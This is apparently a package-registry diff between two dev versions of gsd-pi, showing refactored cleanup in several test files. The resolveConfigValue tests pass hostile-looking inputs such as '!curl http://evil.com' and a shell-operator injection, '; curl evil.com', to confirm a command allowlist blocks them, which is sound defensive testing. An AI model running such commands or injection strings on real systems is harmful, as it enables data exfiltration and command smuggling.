gsd-pi 2.44.0-dev.62b5d6c → 2.44.0-dev.a5271fc
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +30 -12
- package/dist/resources/extensions/gsd/auto-start.js +10 -0
- package/dist/resources/extensions/gsd/bootstrap/system-context.js +46 -12
- package/dist/resources/extensions/gsd/commands/handlers/workflow.js +5 -0
- package/dist/resources/extensions/gsd/preferences.js +9 -1
- package/dist/resources/extensions/gsd/state.js +19 -2
- package/dist/web/standalone/.next/BUILD_ID +1 -1
- package/dist/web/standalone/.next/app-path-routes-manifest.json +19 -19
- package/dist/web/standalone/.next/build-manifest.json +2 -2
- package/dist/web/standalone/.next/prerender-manifest.json +3 -3
- package/dist/web/standalone/.next/server/app/_global-error.html +2 -2
- package/dist/web/standalone/.next/server/app/_global-error.rsc +1 -1
- package/dist/web/standalone/.next/server/app/_global-error.segments/_full.segment.rsc +1 -1
- package/dist/web/standalone/.next/server/app/_global-error.segments/_global-error/__PAGE__.segment.rsc +1 -1
- package/dist/web/standalone/.next/server/app/_global-error.segments/_global-error.segment.rsc +1 -1
- package/dist/web/standalone/.next/server/app/_global-error.segments/_head.segment.rsc +1 -1
- package/dist/web/standalone/.next/server/app/_global-error.segments/_index.segment.rsc +1 -1
- package/dist/web/standalone/.next/server/app/_global-error.segments/_tree.segment.rsc +1 -1
- package/dist/web/standalone/.next/server/app/_not-found.html +1 -1
- package/dist/web/standalone/.next/server/app/_not-found.rsc +1 -1
- package/dist/web/standalone/.next/server/app/_not-found.segments/_full.segment.rsc +1 -1
- package/dist/web/standalone/.next/server/app/_not-found.segments/_head.segment.rsc +1 -1
- package/dist/web/standalone/.next/server/app/_not-found.segments/_index.segment.rsc +1 -1
- package/dist/web/standalone/.next/server/app/_not-found.segments/_not-found/__PAGE__.segment.rsc +1 -1
- package/dist/web/standalone/.next/server/app/_not-found.segments/_not-found.segment.rsc +1 -1
- package/dist/web/standalone/.next/server/app/_not-found.segments/_tree.segment.rsc +1 -1
- package/dist/web/standalone/.next/server/app/index.html +1 -1
- package/dist/web/standalone/.next/server/app/index.rsc +1 -1
- package/dist/web/standalone/.next/server/app/index.segments/__PAGE__.segment.rsc +1 -1
- package/dist/web/standalone/.next/server/app/index.segments/_full.segment.rsc +1 -1
- package/dist/web/standalone/.next/server/app/index.segments/_head.segment.rsc +1 -1
- package/dist/web/standalone/.next/server/app/index.segments/_index.segment.rsc +1 -1
- package/dist/web/standalone/.next/server/app/index.segments/_tree.segment.rsc +1 -1
- package/dist/web/standalone/.next/server/app-paths-manifest.json +19 -19
- package/dist/web/standalone/.next/server/pages/404.html +1 -1
- package/dist/web/standalone/.next/server/pages/500.html +2 -2
- package/dist/web/standalone/.next/server/server-reference-manifest.json +1 -1
- package/package.json +1 -1
- package/packages/pi-coding-agent/dist/core/auth-storage.test.js +6 -8
- package/packages/pi-coding-agent/dist/core/auth-storage.test.js.map +1 -1
- package/packages/pi-coding-agent/dist/core/extensions/runner.test.js +24 -26
- package/packages/pi-coding-agent/dist/core/extensions/runner.test.js.map +1 -1
- package/packages/pi-coding-agent/dist/core/fs-utils.test.js +29 -48
- package/packages/pi-coding-agent/dist/core/fs-utils.test.js.map +1 -1
- package/packages/pi-coding-agent/dist/core/resolve-config-value.test.js +34 -44
- package/packages/pi-coding-agent/dist/core/resolve-config-value.test.js.map +1 -1
- package/packages/pi-coding-agent/dist/core/session-manager.test.js +30 -34
- package/packages/pi-coding-agent/dist/core/session-manager.test.js.map +1 -1
- package/packages/pi-coding-agent/dist/core/tools/edit-diff.test.js +10 -12
- package/packages/pi-coding-agent/dist/core/tools/edit-diff.test.js.map +1 -1
- package/packages/pi-coding-agent/dist/resources/extensions/memory/storage.test.js +43 -47
- package/packages/pi-coding-agent/dist/resources/extensions/memory/storage.test.js.map +1 -1
- package/packages/pi-coding-agent/src/core/auth-storage.test.ts +7 -7
- package/packages/pi-coding-agent/src/core/extensions/runner.test.ts +26 -26
- package/packages/pi-coding-agent/src/core/fs-utils.test.ts +31 -43
- package/packages/pi-coding-agent/src/core/resolve-config-value.test.ts +40 -45
- package/packages/pi-coding-agent/src/core/session-manager.test.ts +33 -33
- package/packages/pi-coding-agent/src/core/tools/edit-diff.test.ts +17 -17
- package/packages/pi-coding-agent/src/resources/extensions/memory/storage.test.ts +74 -74
- package/src/resources/extensions/gsd/auto-start.ts +14 -0
- package/src/resources/extensions/gsd/bootstrap/system-context.ts +48 -11
- package/src/resources/extensions/gsd/commands/handlers/workflow.ts +8 -0
- package/src/resources/extensions/gsd/preferences.ts +11 -1
- package/src/resources/extensions/gsd/state.ts +19 -1
- package/src/resources/extensions/gsd/tests/all-milestones-complete-merge.test.ts +99 -99
- package/src/resources/extensions/gsd/tests/auto-lock-creation.test.ts +14 -16
- package/src/resources/extensions/gsd/tests/auto-paused-session-validation.test.ts +43 -57
- package/src/resources/extensions/gsd/tests/auto-preflight.test.ts +11 -13
- package/src/resources/extensions/gsd/tests/auto-recovery.test.ts +465 -523
- package/src/resources/extensions/gsd/tests/auto-secrets-gate.test.ts +73 -75
- package/src/resources/extensions/gsd/tests/auto-start-needs-discussion.test.ts +34 -56
- package/src/resources/extensions/gsd/tests/auto-worktree-milestone-merge.test.ts +533 -656
- package/src/resources/extensions/gsd/tests/auto-worktree.test.ts +165 -143
- package/src/resources/extensions/gsd/tests/cache-staleness-regression.test.ts +29 -52
- package/src/resources/extensions/gsd/tests/captures.test.ts +148 -176
- package/src/resources/extensions/gsd/tests/claude-import-tui.test.ts +32 -33
- package/src/resources/extensions/gsd/tests/collect-from-manifest.test.ts +141 -143
- package/src/resources/extensions/gsd/tests/commands-inspect-open-db.test.ts +25 -25
- package/src/resources/extensions/gsd/tests/commands-logs.test.ts +81 -81
- package/src/resources/extensions/gsd/tests/complete-milestone.test.ts +38 -59
- package/src/resources/extensions/gsd/tests/complete-slice.test.ts +228 -263
- package/src/resources/extensions/gsd/tests/complete-task.test.ts +250 -302
- package/src/resources/extensions/gsd/tests/context-store.test.ts +354 -367
- package/src/resources/extensions/gsd/tests/continue-here.test.ts +68 -72
- package/src/resources/extensions/gsd/tests/cost-projection.test.ts +92 -106
- package/src/resources/extensions/gsd/tests/crash-recovery.test.ts +27 -35
- package/src/resources/extensions/gsd/tests/dashboard-budget.test.ts +220 -237
- package/src/resources/extensions/gsd/tests/db-writer.test.ts +390 -420
- package/src/resources/extensions/gsd/tests/definition-loader.test.ts +76 -92
- package/src/resources/extensions/gsd/tests/derive-state-crossval.test.ts +68 -83
- package/src/resources/extensions/gsd/tests/derive-state-db.test.ts +183 -181
- package/src/resources/extensions/gsd/tests/derive-state-deps.test.ts +78 -101
- package/src/resources/extensions/gsd/tests/derive-state.test.ts +192 -227
- package/src/resources/extensions/gsd/tests/detection.test.ts +232 -278
- package/src/resources/extensions/gsd/tests/dev-engine-wrapper.test.ts +30 -34
- package/src/resources/extensions/gsd/tests/dispatch-guard.test.ts +164 -180
- package/src/resources/extensions/gsd/tests/dispatch-missing-task-plans.test.ts +43 -49
- package/src/resources/extensions/gsd/tests/dispatch-uat-last-completed.test.ts +28 -32
- package/src/resources/extensions/gsd/tests/doctor-completion-deferral.test.ts +27 -29
- package/src/resources/extensions/gsd/tests/doctor-delimiter-fix.test.ts +34 -38
- package/src/resources/extensions/gsd/tests/doctor-enhancements.test.ts +54 -75
- package/src/resources/extensions/gsd/tests/doctor-environment-worktree.test.ts +21 -32
- package/src/resources/extensions/gsd/tests/doctor-environment.test.ts +72 -97
- package/src/resources/extensions/gsd/tests/doctor-fixlevel.test.ts +38 -44
- package/src/resources/extensions/gsd/tests/doctor-git.test.ts +104 -145
- package/src/resources/extensions/gsd/tests/doctor-proactive.test.ts +84 -106
- package/src/resources/extensions/gsd/tests/doctor-roadmap-summary-atomicity.test.ts +54 -60
- package/src/resources/extensions/gsd/tests/doctor-runtime.test.ts +72 -93
- package/src/resources/extensions/gsd/tests/doctor.test.ts +104 -134
- package/src/resources/extensions/gsd/tests/ensure-db-open.test.ts +123 -131
- package/src/resources/extensions/gsd/tests/exit-command.test.ts +20 -24
- package/src/resources/extensions/gsd/tests/feature-branch-lifecycle-integration.test.ts +48 -57
- package/src/resources/extensions/gsd/tests/files-loadfile-eisdir.test.ts +5 -7
- package/src/resources/extensions/gsd/tests/flag-file-db.test.ts +30 -42
- package/src/resources/extensions/gsd/tests/freeform-decisions.test.ts +198 -206
- package/src/resources/extensions/gsd/tests/git-locale.test.ts +13 -27
- package/src/resources/extensions/gsd/tests/git-service.test.ts +285 -388
- package/src/resources/extensions/gsd/tests/gitignore-tracked-gsd.test.ts +31 -39
- package/src/resources/extensions/gsd/tests/graph-operations.test.ts +63 -69
- package/src/resources/extensions/gsd/tests/gsd-db.test.ts +255 -264
- package/src/resources/extensions/gsd/tests/gsd-inspect.test.ts +108 -119
- package/src/resources/extensions/gsd/tests/gsd-recover.test.ts +81 -103
- package/src/resources/extensions/gsd/tests/gsd-tools.test.ts +229 -262
- package/src/resources/extensions/gsd/tests/headless-answers.test.ts +13 -13
- package/src/resources/extensions/gsd/tests/health-widget.test.ts +29 -37
- package/src/resources/extensions/gsd/tests/idle-recovery.test.ts +81 -102
- package/src/resources/extensions/gsd/tests/init-wizard.test.ts +16 -18
- package/src/resources/extensions/gsd/tests/integration-edge.test.ts +41 -46
- package/src/resources/extensions/gsd/tests/integration-lifecycle.test.ts +42 -53
- package/src/resources/extensions/gsd/tests/integration-mixed-milestones.test.ts +75 -91
- package/src/resources/extensions/gsd/tests/integration-proof.test.ts +18 -18
- package/src/resources/extensions/gsd/tests/knowledge.test.ts +89 -0
- package/src/resources/extensions/gsd/tests/markdown-renderer.test.ts +150 -194
- package/src/resources/extensions/gsd/tests/md-importer.test.ts +101 -125
- package/src/resources/extensions/gsd/tests/memory-extractor.test.ts +45 -54
- package/src/resources/extensions/gsd/tests/memory-store.test.ts +80 -93
- package/src/resources/extensions/gsd/tests/migrate-command.test.ts +57 -66
- package/src/resources/extensions/gsd/tests/migrate-hierarchy.test.ts +83 -93
- package/src/resources/extensions/gsd/tests/migrate-parser.test.ts +161 -170
- package/src/resources/extensions/gsd/tests/migrate-transformer.test.ts +125 -141
- package/src/resources/extensions/gsd/tests/migrate-validator-parsers.test.ts +107 -131
- package/src/resources/extensions/gsd/tests/migrate-writer-integration.test.ts +87 -96
- package/src/resources/extensions/gsd/tests/migrate-writer.test.ts +125 -164
- package/src/resources/extensions/gsd/tests/must-have-parser.test.ts +81 -94
- package/src/resources/extensions/gsd/tests/none-mode-gates.test.ts +35 -36
- package/src/resources/extensions/gsd/tests/overrides.test.ts +99 -106
- package/src/resources/extensions/gsd/tests/parallel-crash-recovery.test.ts +40 -47
- package/src/resources/extensions/gsd/tests/parallel-worker-monitoring.test.ts +25 -28
- package/src/resources/extensions/gsd/tests/parallel-workers-multi-milestone-e2e.test.ts +66 -83
- package/src/resources/extensions/gsd/tests/park-edge-cases.test.ts +54 -77
- package/src/resources/extensions/gsd/tests/park-milestone.test.ts +68 -115
- package/src/resources/extensions/gsd/tests/parsers.test.ts +546 -611
- package/src/resources/extensions/gsd/tests/paths.test.ts +72 -87
- package/src/resources/extensions/gsd/tests/post-unit-hooks.test.ts +77 -117
- package/src/resources/extensions/gsd/tests/preferences.test.ts +27 -0
- package/src/resources/extensions/gsd/tests/prompt-db.test.ts +56 -56
- package/src/resources/extensions/gsd/tests/queue-draft-detection.test.ts +93 -119
- package/src/resources/extensions/gsd/tests/queue-order.test.ts +70 -82
- package/src/resources/extensions/gsd/tests/queue-reorder-e2e.test.ts +42 -55
- package/src/resources/extensions/gsd/tests/quick-auto-guard.test.ts +100 -0
- package/src/resources/extensions/gsd/tests/quick-branch-lifecycle.test.ts +45 -73
- package/src/resources/extensions/gsd/tests/reassess-prompt.test.ts +28 -38
- package/src/resources/extensions/gsd/tests/replan-slice.test.ts +73 -80
- package/src/resources/extensions/gsd/tests/repo-identity-worktree.test.ts +71 -74
- package/src/resources/extensions/gsd/tests/requirements.test.ts +70 -75
- package/src/resources/extensions/gsd/tests/retry-state-reset.test.ts +44 -66
- package/src/resources/extensions/gsd/tests/roadmap-parse-regression.test.ts +114 -181
- package/src/resources/extensions/gsd/tests/rule-registry.test.ts +63 -65
- package/src/resources/extensions/gsd/tests/run-uat.test.ts +66 -128
- package/src/resources/extensions/gsd/tests/session-lock-multipath.test.ts +18 -25
- package/src/resources/extensions/gsd/tests/session-lock-regression.test.ts +37 -44
- package/src/resources/extensions/gsd/tests/shared-wal.test.ts +19 -26
- package/src/resources/extensions/gsd/tests/sqlite-unavailable-gate.test.ts +63 -0
- package/src/resources/extensions/gsd/tests/stalled-tool-recovery.test.ts +6 -8
- package/src/resources/extensions/gsd/tests/symlink-numbered-variants.test.ts +22 -28
- package/src/resources/extensions/gsd/tests/token-savings.test.ts +54 -56
- package/src/resources/extensions/gsd/tests/tool-call-loop-guard.test.ts +23 -25
- package/src/resources/extensions/gsd/tests/tool-naming.test.ts +9 -11
- package/src/resources/extensions/gsd/tests/unique-milestone-ids.test.ts +66 -82
- package/src/resources/extensions/gsd/tests/unit-runtime.test.ts +46 -47
- package/src/resources/extensions/gsd/tests/visualizer-critical-path.test.ts +20 -22
- package/src/resources/extensions/gsd/tests/visualizer-data.test.ts +84 -86
- package/src/resources/extensions/gsd/tests/visualizer-overlay.test.ts +41 -43
- package/src/resources/extensions/gsd/tests/visualizer-views.test.ts +94 -96
- package/src/resources/extensions/gsd/tests/windows-path-normalization.test.ts +11 -13
- package/src/resources/extensions/gsd/tests/worker-registry.test.ts +27 -29
- package/src/resources/extensions/gsd/tests/workflow-templates.test.ts +50 -52
- package/src/resources/extensions/gsd/tests/worktree-bugfix.test.ts +10 -13
- package/src/resources/extensions/gsd/tests/worktree-db-integration.test.ts +14 -18
- package/src/resources/extensions/gsd/tests/worktree-db.test.ts +38 -39
- package/src/resources/extensions/gsd/tests/worktree-e2e.test.ts +17 -21
- package/src/resources/extensions/gsd/tests/worktree-health.test.ts +25 -30
- package/src/resources/extensions/gsd/tests/worktree-integration.test.ts +30 -37
- package/src/resources/extensions/gsd/tests/worktree-symlink-removal.test.ts +15 -22
- package/src/resources/extensions/gsd/tests/worktree-sync-milestones.test.ts +59 -66
- package/src/resources/extensions/gsd/tests/worktree.test.ts +44 -50
- /package/dist/web/standalone/.next/static/{fOnWQBjWXMKUs4bqTg530 → JyimLR2pZuvKEzv26gI3w}/_buildManifest.js +0 -0
- /package/dist/web/standalone/.next/static/{fOnWQBjWXMKUs4bqTg530 → JyimLR2pZuvKEzv26gI3w}/_ssgManifest.js +0 -0
|
@@ -38,21 +38,20 @@ describe("resolveConfigValue — non-command values", () => {
|
|
|
38
38
|
});
|
|
39
39
|
|
|
40
40
|
describe("resolveConfigValue — command allowlist enforcement", () => {
|
|
41
|
-
it("blocks a disallowed command and returns undefined", () => {
|
|
41
|
+
it("blocks a disallowed command and returns undefined", (t) => {
|
|
42
42
|
const stderrChunks: string[] = [];
|
|
43
43
|
const originalWrite = process.stderr.write.bind(process.stderr);
|
|
44
44
|
process.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {
|
|
45
45
|
stderrChunks.push(chunk.toString());
|
|
46
46
|
return true;
|
|
47
47
|
};
|
|
48
|
-
|
|
49
|
-
try {
|
|
50
|
-
const result = resolveConfigValue("!curl http://evil.com");
|
|
51
|
-
assert.equal(result, undefined);
|
|
52
|
-
assert.ok(stderrChunks.some((line) => line.includes("curl")));
|
|
53
|
-
} finally {
|
|
48
|
+
t.after(() => {
|
|
54
49
|
process.stderr.write = originalWrite;
|
|
55
|
-
}
|
|
50
|
+
});
|
|
51
|
+
|
|
52
|
+
const result = resolveConfigValue("!curl http://evil.com");
|
|
53
|
+
assert.equal(result, undefined);
|
|
54
|
+
assert.ok(stderrChunks.some((line) => line.includes("curl")));
|
|
56
55
|
});
|
|
57
56
|
|
|
58
57
|
it("blocks another disallowed command (rm)", () => {
|
|
@@ -65,7 +64,7 @@ describe("resolveConfigValue — command allowlist enforcement", () => {
|
|
|
65
64
|
assert.equal(result, undefined);
|
|
66
65
|
});
|
|
67
66
|
|
|
68
|
-
it("allows a safe command prefix to proceed to execution", () => {
|
|
67
|
+
it("allows a safe command prefix to proceed to execution", (t) => {
|
|
69
68
|
// `pass` is unlikely to be installed in CI, so we just verify it does NOT
|
|
70
69
|
// return undefined due to the allowlist check — it may return undefined if
|
|
71
70
|
// the binary is absent, but the block path must not be taken.
|
|
@@ -76,16 +75,15 @@ describe("resolveConfigValue — command allowlist enforcement", () => {
|
|
|
76
75
|
stderrChunks.push(chunk.toString());
|
|
77
76
|
return true;
|
|
78
77
|
};
|
|
79
|
-
|
|
80
|
-
try {
|
|
81
|
-
resolveConfigValue("!pass show nonexistent-entry-for-test");
|
|
82
|
-
const blocked = stderrChunks.some((line) =>
|
|
83
|
-
line.includes("Blocked disallowed command")
|
|
84
|
-
);
|
|
85
|
-
assert.equal(blocked, false, "pass should not be blocked by the allowlist");
|
|
86
|
-
} finally {
|
|
78
|
+
t.after(() => {
|
|
87
79
|
process.stderr.write = originalWrite;
|
|
88
|
-
}
|
|
80
|
+
});
|
|
81
|
+
|
|
82
|
+
resolveConfigValue("!pass show nonexistent-entry-for-test");
|
|
83
|
+
const blocked = stderrChunks.some((line) =>
|
|
84
|
+
line.includes("Blocked disallowed command")
|
|
85
|
+
);
|
|
86
|
+
assert.equal(blocked, false, "pass should not be blocked by the allowlist");
|
|
89
87
|
});
|
|
90
88
|
});
|
|
91
89
|
|
|
@@ -130,61 +128,58 @@ describe("resolveConfigValue — shell operator bypass prevention", () => {
|
|
|
130
128
|
assert.equal(result, undefined);
|
|
131
129
|
});
|
|
132
130
|
|
|
133
|
-
it("writes stderr warning when shell operators detected", () => {
|
|
131
|
+
it("writes stderr warning when shell operators detected", (t) => {
|
|
134
132
|
const stderrChunks: string[] = [];
|
|
135
133
|
const originalWrite = process.stderr.write.bind(process.stderr);
|
|
136
134
|
process.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {
|
|
137
135
|
stderrChunks.push(chunk.toString());
|
|
138
136
|
return true;
|
|
139
137
|
};
|
|
140
|
-
|
|
141
|
-
try {
|
|
142
|
-
resolveConfigValue("!pass show key; curl evil.com");
|
|
143
|
-
assert.ok(stderrChunks.some((line) => line.includes("shell operators")));
|
|
144
|
-
} finally {
|
|
138
|
+
t.after(() => {
|
|
145
139
|
process.stderr.write = originalWrite;
|
|
146
|
-
}
|
|
140
|
+
});
|
|
141
|
+
|
|
142
|
+
resolveConfigValue("!pass show key; curl evil.com");
|
|
143
|
+
assert.ok(stderrChunks.some((line) => line.includes("shell operators")));
|
|
147
144
|
});
|
|
148
145
|
});
|
|
149
146
|
|
|
150
147
|
describe("resolveConfigValue — caching", () => {
|
|
151
|
-
it("caches the result of a blocked command", () => {
|
|
148
|
+
it("caches the result of a blocked command", (t) => {
|
|
152
149
|
const callCount = { n: 0 };
|
|
153
150
|
const originalWrite = process.stderr.write.bind(process.stderr);
|
|
154
151
|
process.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {
|
|
155
152
|
callCount.n++;
|
|
156
153
|
return true;
|
|
157
154
|
};
|
|
158
|
-
|
|
159
|
-
try {
|
|
160
|
-
resolveConfigValue("!curl http://evil.com");
|
|
161
|
-
resolveConfigValue("!curl http://evil.com");
|
|
162
|
-
// The block warning should only fire once; the second call hits the cache
|
|
163
|
-
// before reaching the allowlist check, so stderr count is 1.
|
|
164
|
-
assert.equal(callCount.n, 1);
|
|
165
|
-
} finally {
|
|
155
|
+
t.after(() => {
|
|
166
156
|
process.stderr.write = originalWrite;
|
|
167
|
-
}
|
|
157
|
+
});
|
|
158
|
+
|
|
159
|
+
resolveConfigValue("!curl http://evil.com");
|
|
160
|
+
resolveConfigValue("!curl http://evil.com");
|
|
161
|
+
// The block warning should only fire once; the second call hits the cache
|
|
162
|
+
// before reaching the allowlist check, so stderr count is 1.
|
|
163
|
+
assert.equal(callCount.n, 1);
|
|
168
164
|
});
|
|
169
165
|
|
|
170
|
-
it("clearConfigValueCache resets cached entries", () => {
|
|
166
|
+
it("clearConfigValueCache resets cached entries", (t) => {
|
|
171
167
|
const stderrChunks: string[] = [];
|
|
172
168
|
const originalWrite = process.stderr.write.bind(process.stderr);
|
|
173
169
|
process.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {
|
|
174
170
|
stderrChunks.push(chunk.toString());
|
|
175
171
|
return true;
|
|
176
172
|
};
|
|
173
|
+
t.after(() => {
|
|
174
|
+
process.stderr.write = originalWrite;
|
|
175
|
+
});
|
|
177
176
|
|
|
178
|
-
|
|
179
|
-
|
|
180
|
-
assert.equal(stderrChunks.length, 1);
|
|
177
|
+
resolveConfigValue("!curl http://evil.com");
|
|
178
|
+
assert.equal(stderrChunks.length, 1);
|
|
181
179
|
|
|
182
|
-
|
|
180
|
+
clearConfigValueCache();
|
|
183
181
|
|
|
184
|
-
|
|
185
|
-
|
|
186
|
-
} finally {
|
|
187
|
-
process.stderr.write = originalWrite;
|
|
188
|
-
}
|
|
182
|
+
resolveConfigValue("!curl http://evil.com");
|
|
183
|
+
assert.equal(stderrChunks.length, 2);
|
|
189
184
|
});
|
|
190
185
|
});
|
|
@@ -1,5 +1,5 @@
|
|
|
1
1
|
import assert from "node:assert/strict";
|
|
2
|
-
import { describe, it } from "node:test";
|
|
2
|
+
import { describe, it, afterEach } from "node:test";
|
|
3
3
|
import { mkdtempSync, rmSync } from "node:fs";
|
|
4
4
|
import { join } from "node:path";
|
|
5
5
|
import { tmpdir } from "node:os";
|
|
@@ -22,44 +22,44 @@ function makeAssistantMessage(input: number, output: number, cacheRead = 0, cach
|
|
|
22
22
|
}
|
|
23
23
|
|
|
24
24
|
describe("SessionManager usage totals", () => {
|
|
25
|
-
|
|
26
|
-
const dir = mkdtempSync(join(tmpdir(), "gsd-session-manager-test-"));
|
|
27
|
-
try {
|
|
28
|
-
const manager = SessionManager.create(dir, dir);
|
|
29
|
-
|
|
30
|
-
manager.appendMessage({ role: "user", content: [{ type: "text", text: "hello" }] } as any);
|
|
31
|
-
manager.appendMessage(makeAssistantMessage(10, 5, 3, 2, 0.25));
|
|
32
|
-
manager.appendMessage(makeAssistantMessage(7, 4, 1, 0, 0.1));
|
|
25
|
+
let dir: string;
|
|
33
26
|
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
output: 9,
|
|
37
|
-
cacheRead: 4,
|
|
38
|
-
cacheWrite: 2,
|
|
39
|
-
cost: 0.35,
|
|
40
|
-
});
|
|
41
|
-
} finally {
|
|
27
|
+
afterEach(() => {
|
|
28
|
+
if (dir) {
|
|
42
29
|
rmSync(dir, { recursive: true, force: true });
|
|
43
30
|
}
|
|
44
31
|
});
|
|
45
32
|
|
|
33
|
+
it("tracks assistant usage incrementally without rescanning entries", () => {
|
|
34
|
+
dir = mkdtempSync(join(tmpdir(), "gsd-session-manager-test-"));
|
|
35
|
+
const manager = SessionManager.create(dir, dir);
|
|
36
|
+
|
|
37
|
+
manager.appendMessage({ role: "user", content: [{ type: "text", text: "hello" }] } as any);
|
|
38
|
+
manager.appendMessage(makeAssistantMessage(10, 5, 3, 2, 0.25));
|
|
39
|
+
manager.appendMessage(makeAssistantMessage(7, 4, 1, 0, 0.1));
|
|
40
|
+
|
|
41
|
+
assert.deepEqual(manager.getUsageTotals(), {
|
|
42
|
+
input: 17,
|
|
43
|
+
output: 9,
|
|
44
|
+
cacheRead: 4,
|
|
45
|
+
cacheWrite: 2,
|
|
46
|
+
cost: 0.35,
|
|
47
|
+
});
|
|
48
|
+
});
|
|
49
|
+
|
|
46
50
|
it("resets totals when starting a new session", () => {
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
assert.equal(manager.getUsageTotals().input, 5);
|
|
51
|
+
dir = mkdtempSync(join(tmpdir(), "gsd-session-manager-test-"));
|
|
52
|
+
const manager = SessionManager.create(dir, dir);
|
|
53
|
+
manager.appendMessage(makeAssistantMessage(5, 5, 0, 0, 0.05));
|
|
54
|
+
assert.equal(manager.getUsageTotals().input, 5);
|
|
52
55
|
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
} finally {
|
|
62
|
-
rmSync(dir, { recursive: true, force: true });
|
|
63
|
-
}
|
|
56
|
+
manager.newSession();
|
|
57
|
+
assert.deepEqual(manager.getUsageTotals(), {
|
|
58
|
+
input: 0,
|
|
59
|
+
output: 0,
|
|
60
|
+
cacheRead: 0,
|
|
61
|
+
cacheWrite: 0,
|
|
62
|
+
cost: 0,
|
|
63
|
+
});
|
|
64
64
|
});
|
|
65
65
|
});
|
|
@@ -60,26 +60,26 @@ describe("edit-diff", () => {
|
|
|
60
60
|
assert.match(result.diff, /CHANGED/);
|
|
61
61
|
});
|
|
62
62
|
|
|
63
|
-
it("computes diffs for preview without native helpers", async () => {
|
|
63
|
+
it("computes diffs for preview without native helpers", async (t) => {
|
|
64
64
|
const dir = mkdtempSync(join(tmpdir(), "edit-diff-test-"));
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
65
|
+
t.after(() => {
|
|
66
|
+
rmSync(dir, { recursive: true, force: true });
|
|
67
|
+
});
|
|
68
68
|
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
"const title = \"Hello\";\n",
|
|
72
|
-
"const title = \"Hi\";\n",
|
|
73
|
-
dir,
|
|
74
|
-
);
|
|
69
|
+
const file = join(dir, "sample.ts");
|
|
70
|
+
writeFileSync(file, "const title = “Hello”;\n", "utf-8");
|
|
75
71
|
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
72
|
+
const result = await computeEditDiff(
|
|
73
|
+
file,
|
|
74
|
+
"const title = \"Hello\";\n",
|
|
75
|
+
"const title = \"Hi\";\n",
|
|
76
|
+
dir,
|
|
77
|
+
);
|
|
78
|
+
|
|
79
|
+
assert.ok(!("error" in result), "expected a diff result");
|
|
80
|
+
if (!("error" in result)) {
|
|
81
|
+
assert.equal(result.firstChangedLine, 1);
|
|
82
|
+
assert.match(result.diff, /\+1 const title = "Hi";/);
|
|
83
83
|
}
|
|
84
84
|
});
|
|
85
85
|
});
|
|
@@ -1,5 +1,5 @@
|
|
|
1
1
|
import assert from "node:assert/strict";
|
|
2
|
-
import { describe, it,
|
|
2
|
+
import { describe, it, afterEach } from "node:test";
|
|
3
3
|
import { mkdtempSync, rmSync, readFileSync, existsSync } from "node:fs";
|
|
4
4
|
import { join } from "node:path";
|
|
5
5
|
import { tmpdir } from "node:os";
|
|
@@ -15,84 +15,84 @@ function wait(ms: number): Promise<void> {
|
|
|
15
15
|
}
|
|
16
16
|
|
|
17
17
|
describe("MemoryStorage debounced persistence", () => {
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
const storage = await MemoryStorage.create(dbPath);
|
|
23
|
-
|
|
24
|
-
const initialStat = readFileSync(dbPath);
|
|
25
|
-
const initialMtime = initialStat.length;
|
|
26
|
-
|
|
27
|
-
storage.upsertThreads([
|
|
28
|
-
{ threadId: "t1", filePath: "/a.txt", fileSize: 100, fileMtime: 1000, cwd: "/proj" },
|
|
29
|
-
]);
|
|
30
|
-
storage.upsertThreads([
|
|
31
|
-
{ threadId: "t2", filePath: "/b.txt", fileSize: 200, fileMtime: 2000, cwd: "/proj" },
|
|
32
|
-
]);
|
|
33
|
-
storage.upsertThreads([
|
|
34
|
-
{ threadId: "t3", filePath: "/c.txt", fileSize: 300, fileMtime: 3000, cwd: "/proj" },
|
|
35
|
-
]);
|
|
36
|
-
|
|
37
|
-
const afterMutationsBuf = readFileSync(dbPath);
|
|
38
|
-
assert.deepEqual(
|
|
39
|
-
afterMutationsBuf,
|
|
40
|
-
initialStat,
|
|
41
|
-
"File should not have been written yet (debounce window has not elapsed)",
|
|
42
|
-
);
|
|
43
|
-
|
|
44
|
-
await wait(700);
|
|
45
|
-
|
|
46
|
-
const afterDebounceBuf = readFileSync(dbPath);
|
|
47
|
-
assert.notDeepEqual(
|
|
48
|
-
afterDebounceBuf,
|
|
49
|
-
initialStat,
|
|
50
|
-
"File should have been written after debounce window elapsed",
|
|
51
|
-
);
|
|
52
|
-
|
|
53
|
-
const stats = storage.getStats();
|
|
54
|
-
assert.equal(stats.totalThreads, 3);
|
|
55
|
-
|
|
56
|
-
storage.close();
|
|
57
|
-
} finally {
|
|
18
|
+
let dir: string;
|
|
19
|
+
|
|
20
|
+
afterEach(() => {
|
|
21
|
+
if (dir) {
|
|
58
22
|
rmSync(dir, { recursive: true, force: true });
|
|
59
23
|
}
|
|
60
24
|
});
|
|
61
25
|
|
|
26
|
+
it("multiple rapid mutations only trigger one persist write", async () => {
|
|
27
|
+
dir = makeTmpDir();
|
|
28
|
+
const dbPath = join(dir, "test.db");
|
|
29
|
+
const storage = await MemoryStorage.create(dbPath);
|
|
30
|
+
|
|
31
|
+
const initialStat = readFileSync(dbPath);
|
|
32
|
+
const initialMtime = initialStat.length;
|
|
33
|
+
|
|
34
|
+
storage.upsertThreads([
|
|
35
|
+
{ threadId: "t1", filePath: "/a.txt", fileSize: 100, fileMtime: 1000, cwd: "/proj" },
|
|
36
|
+
]);
|
|
37
|
+
storage.upsertThreads([
|
|
38
|
+
{ threadId: "t2", filePath: "/b.txt", fileSize: 200, fileMtime: 2000, cwd: "/proj" },
|
|
39
|
+
]);
|
|
40
|
+
storage.upsertThreads([
